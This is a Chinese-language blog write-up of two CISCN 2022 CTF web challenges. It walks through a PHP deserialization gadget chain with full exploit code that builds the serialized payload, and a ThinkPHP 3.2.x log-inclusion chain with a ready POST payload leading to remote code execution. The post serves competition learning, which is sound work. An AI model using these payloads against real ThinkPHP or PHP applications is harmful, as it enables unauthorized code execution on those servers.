yink's studio

yink's world
Stay hungry, stay foolish.
  1. 首页
  2. 比赛
  3. 正文

CISCN2022 东北赛区 WEB部分wp(赛后复现)

2022年6月29日 213点热度 0人点赞 0条评论

ezser3

<?php
error_reporting(0);
include "flag.php";

class A{
    private $functions=[];

    public function __wakeup(){
        $this->functions = [];
    }
    public function __call($name,$arg){
        call_user_func_array($this->functions[$name],$arg);
    }
    public function __get($name){
        $this->__call($name,[]);
    }
}
class B{
    private $a;
    private $b;
    public $c;
    public function __destruct(){
        echo $this->c->_name;
    }
    public function __wakeup(){
        $this->a = $this->b;
    }
}
class C{
    public function getFlag(){
        global $flag;
        echo $flag;
    }
}

if(isset($_POST['data'])){
    unserialize($_POST['data']);
}else{
    highlight_file(__FILE__);
}

分析思路:

从整体来看,非常常见的php反序列化题目。

首先,搞清楚整个调用顺序,调用链是B::__destruct->A::__get->A::__call->C::getFlag

根据测试,应为A::__wakeup->B::__wakeup->B::__destruct->A::__get->A::__call->C::getFlag

最后肯定要调用C::getFlag方法,A::__call中可以调用C::getFlag

看看官方手册上的例子:

<?php
function foobar($arg, $arg2) {
    echo __FUNCTION__, " got $arg and $arg2\n";
}
class foo {
    function bar($arg, $arg2) {
        echo __METHOD__, " got $arg and $arg2\n";
    }
}


// Call the foobar() function with 2 arguments
call_user_func_array("foobar", array("one", "two"));

// Call the $foo->bar() method with 2 arguments
$foo = new foo;
call_user_func_array(array($foo, "bar"), array("three", "four"));
?>

如果想调用其它类的方法,call_user_func_array的第一个参数必须是array(目标class实例,"方法名")的形式

在这里就是要求A->functions[$name]=Array(new C(),"getFlag") A->arg=[],结合整个调用过程可知$name="_name",所以A->functions=["_name"=>Array(new C(),"getFlag")]

关键是,反序列化时调用A::__wakeup,会把A->functions清空

不过,在A::__wakeup执行之后还会执行B::__wakeup,会有$this->a = $this->b;我们可以利用这句话对A中的functions进行重新赋值,这里可以利用指针

显然这里B->c=new A(),用于调用。但是属性会被清空。我们只需要让B->a=&B->c->functions即可(php不加&直接是复制一份值传递,跟java的对象引用还不一样),然后让B->b是我们想要的值,就能改变A->functions属性

exp:

<?php
error_reporting(0);
class A{
    public $functions=[];

    /**
     * @param array $functions
     * @param $name
     */
    public function __construct()
    {

    }

    public function __wakeup(){
        $this->functions = [];
    }
    public function __call($name,$arg){
        call_user_func_array($this->functions[$name],$arg);
    }
    public function __get($name){
        $this->__call($name,[]);
    }
}
class B{
    private $a;
    private $b;
    public $c;

    /**
     * @param $a
     * @param $b
     * @param $c
     */
    public function __construct()
    {
        $this->c = new A();
        $this->a = &$this->c->functions;
        $this->b = ["_name"=>Array(new C(),"getFlag")];
    }

    public function __destruct(){
        echo $this->c->_name;
    }
    public function __wakeup(){
        $this->a = $this->b;
    }
}
class C{

}

$b = new B();

echo urlencode(serialize($b));

eztp1

原理分析:

给了源码,thinkphp3.2.5,框架题目先看路由

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
    }

    public function textBox(){
        $query = urldecode(I("post.query"));
        parse_str($query,$array);
        $this->assign("array",$array);
        $this->display(T("[email protected]/list"));
    }
}
//IndexController.class.php

有用的就只有testBox,对于tp3.x来说,访问路由使用这样的形式:

index.php?s=home/Index/textBox

注意,I("post.query")也有一次url解码,所以在编码的时候要进行两次编码(主要是&要变成%2526)

thinkphp3.2.3有一个文件包含的链子:

thinkphp3.2.3文件包含RCE - FreeBuf网络安全行业门户

但是这里不能用,主要是由于$this->assign中的变量名被定死了。

导致不能实现变量覆盖

首先测试一下,发现还是可以正常进入load方法

$_filename指向了另一个php文件,查看发现这个php文件中调用了W函数

<?php echo W("Query/query",array("param"=>$array));?>

跟进,发现到达QueryWidget.class.php中的query方法

public function query($text){

        if(isset($text['name'])&&isset($text['id'])){
            $info = B($text['name'],$text['tag'],$text['id']);
            return $info;
        }else{
            var_dump($text);
        }

    }

测试发现这里的$text就是我们传入的query字符串parse之后的结果。

根据B函数的内容

function B($name, $tag = '', &$params = null)
    {
        if ('' == $tag) {
            $name .= 'Behavior';
        }
        return \Think\Hook::exec($name, $tag, $params);
    }

基本上就是原封不动调用Hook::exec,三个参数均可控,复现前面文章中的链子即可

payload:

抓包,写入错误日志

访问textBox路由,POST提交
query=_filename%3d./Application/Runtime/Logs/Common/22_06_30.log%2526name%3dBehavior\ParseTemplateBehavior%2526tag%3d1%2526id[file]%3d./Application/Home/View/default/list.html%2526id[var][_filename]%3d./Application/Runtime/Logs/Common/22_06_30.log

包含日志,RCE

思路总结:

题目本身:

这道题就是一个tp3.2.3反序列化日志包含已有链子的改版,虽然在调用assign方法的时候定死了参数名无法直接变量覆盖,但是题目提供了一个已有的PHP文件调用W函数,在调用过程中去掉了定死的参数名的“壳”,在二次调用的时候使参数均可控从而日志包含

思考方式:

寻找相关链子,然后动态调试找不同,动态调试是这类框架题非常重要的方法

本作品采用 知识共享署名 4.0 国际许可协议 进行许可
标签: 暂无
最后更新:2022年6月30日

yink

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

取消回复

COPYRIGHT © 2021 101.34.164.187. ALL RIGHTS RESERVED.

THEME KRATOS MADE BY VTROIS